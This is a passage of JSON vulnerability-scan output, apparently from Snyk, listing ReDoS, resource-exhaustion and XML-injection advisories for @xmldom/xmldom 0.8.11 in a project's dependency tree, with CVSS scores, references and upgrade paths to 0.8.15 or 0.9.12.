"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `parseFromString` function. An attacker can cause excessive resource consumption and stall the event loop by submitting specially crafted XML input containing long whitespace runs in end tags.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-x4fp-j954-r2f4)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/3abb0934f5a8a84d83a1f9cde0f2bd04c08b2a09)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n",
"epssDetails": {
"percentile": "0.41913",
"probability": "0.00524",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83619"
],
"CWE": [
"CWE-1333",
"CWE-770"
],
"GHSA": [
"GHSA-x4fp-j954-r2f4"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T13:20:22.704604Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:01:17.721000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T13:20:22.887546Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:19:08.702831Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499069",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Eric Chiang"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.15",
">=0.9.0-beta.1 <0.9.12"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15",
"0.9.12"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-965w-775f-mr7g",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/954370f58c046223faf95ba77efcbc8ce014409d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/dabffe884e864eeecb1f515c716f875e1bc47ec1",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1071",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-02T06:02:48.085083Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:19:07.564369Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:19:07.564369Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T06:02:48.085083Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `appendElement` function in `lib/sax.js` when handling XML documents with deeply nested elements that declare new namespace prefixes. An attacker can cause excessive memory consumption by submitting specially crafted XML input that leads to quadratic growth in namespace-map storage, potentially resulting in process heap exhaustion.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15, 0.9.12 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-965w-775f-mr7g)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/954370f58c046223faf95ba77efcbc8ce014409d)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/dabffe884e864eeecb1f515c716f875e1bc47ec1)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1071)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.12)\n",
"epssDetails": {
"percentile": "0.45851",
"probability": "0.00590",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83615"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-965w-775f-mr7g"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T13:51:45.992466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:01:19.598000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T13:51:46.181381Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:19:07.564369Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499070",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N/E:P",
"credit": [
"bhaswanthc",
"Arpit Jain"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.15",
">=0.9.0-beta.1 <0.9.12"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15",
"0.9.12"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.8,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-c7q8-3ch8-vqpv",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/1cde3e31a07c41c87cfd368d6946aa477f16b4f9",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/3b694872bcb5c7e3cbadba961a4be2488750ce5b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1071",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-04T06:32:46.895410Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:19:08.921629Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:19:08.921629Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T06:32:46.895410Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection in the `Document.createProcessingInstruction` function. An attacker can inject arbitrary XML structure by supplying specially crafted input containing invalid XML-name characters, which can break the processing-instruction boundary during serialization.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15, 0.9.12 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-c7q8-3ch8-vqpv)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/1cde3e31a07c41c87cfd368d6946aa477f16b4f9)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/3b694872bcb5c7e3cbadba961a4be2488750ce5b)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1071)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.12)\n",
"epssDetails": {
"percentile": "0.46990",
"probability": "0.00612",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83616"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-c7q8-3ch8-vqpv"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T13:53:54.689728Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:01:22.960000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T13:53:54.963551Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:19:08.921629Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499072",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Christian Bewernitz"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.15",
">=0.9.0-beta.1 <0.9.12"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15",
"0.9.12"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-8344-3jmq-59r6",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/2c548f200cfec991cd5846627ef8f03542309213",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/cfb09b5dbeb035fdfedc9f01e2bbaf226bf47cf3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1071",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-02T06:02:45.972327Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:24:00.225066Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:24:00.225066Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T06:02:45.972327Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the `DOMParser.parseFromString` function. An attacker can cause significant performance degradation and stall the `Node.js` event loop by submitting XML documents containing elements with a large number of unique attributes.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15, 0.9.12 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-8344-3jmq-59r6)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/2c548f200cfec991cd5846627ef8f03542309213)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/cfb09b5dbeb035fdfedc9f01e2bbaf226bf47cf3)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1071)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.12)\n",
"epssDetails": {
"percentile": "0.46571",
"probability": "0.00604",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83613"
],
"CWE": [
"CWE-407"
],
"GHSA": [
"GHSA-8344-3jmq-59r6"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T13:57:02.117445Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:01:40.823000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T13:57:02.390463Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:24:00.225066Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499075",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L/E:P",
"credit": [
"bhaswanthc"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.14",
">=0.9.0-beta.1 <0.9.11"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.14",
"0.9.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-w2rr-34g9-rvrj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/cba1321218b069182695813fa7565653708e172e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/d8212e632507eaf1d9f609657dd4c56abeb12d44",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1043",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1050",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.14",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.11",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 8.1,
"modificationTime": "2026-09-03T07:56:27.942808Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:L/SA:L/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:24:00.080217Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:24:00.080217Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:56:27.942808Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection via the `createElement` method. An attacker can inject arbitrary attributes, elements, or processing instructions into serialized XML or HTML by supplying crafted tag names, potentially leading to execution of malicious scripts in environments that consume the serialized output.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.14, 0.9.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-w2rr-34g9-rvrj)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/cba1321218b069182695813fa7565653708e172e)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/d8212e632507eaf1d9f609657dd4c56abeb12d44)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1043)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1050)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.14)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.11)\n",
"epssDetails": {
"percentile": "0.46991",
"probability": "0.00612",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83607"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-w2rr-34g9-rvrj"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T14:04:54.123458Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:02:12.638000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T14:04:54.343649Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:24:00.080217Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499076",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Christian Bewernitz"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.15",
">=0.9.0-beta.1 <0.9.12"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15",
"0.9.12"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-93r5-fhx6-vmg9",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/0748720b620555f8c222782dcab575cf0cf403b4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/f40ccb861eee0acbf5ee4feb9a34932e87b329c9",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1071",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-02T06:03:02.192489Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:19:09.284282Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:19:09.284282Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T06:03:02.192489Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseElementStartPart` function and normalization. An attacker can cause excessive resource consumption by providing specially crafted XML input that triggers repeated rescanning or merging of adjacent text nodes.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15, 0.9.12 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-93r5-fhx6-vmg9)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/0748720b620555f8c222782dcab575cf0cf403b4)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/f40ccb861eee0acbf5ee4feb9a34932e87b329c9)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1071)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.12)\n",
"epssDetails": {
"percentile": "0.45853",
"probability": "0.00590",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83614"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-93r5-fhx6-vmg9"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T14:06:36.247967Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:01:45.685000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T14:06:36.425334Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:19:09.284282Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
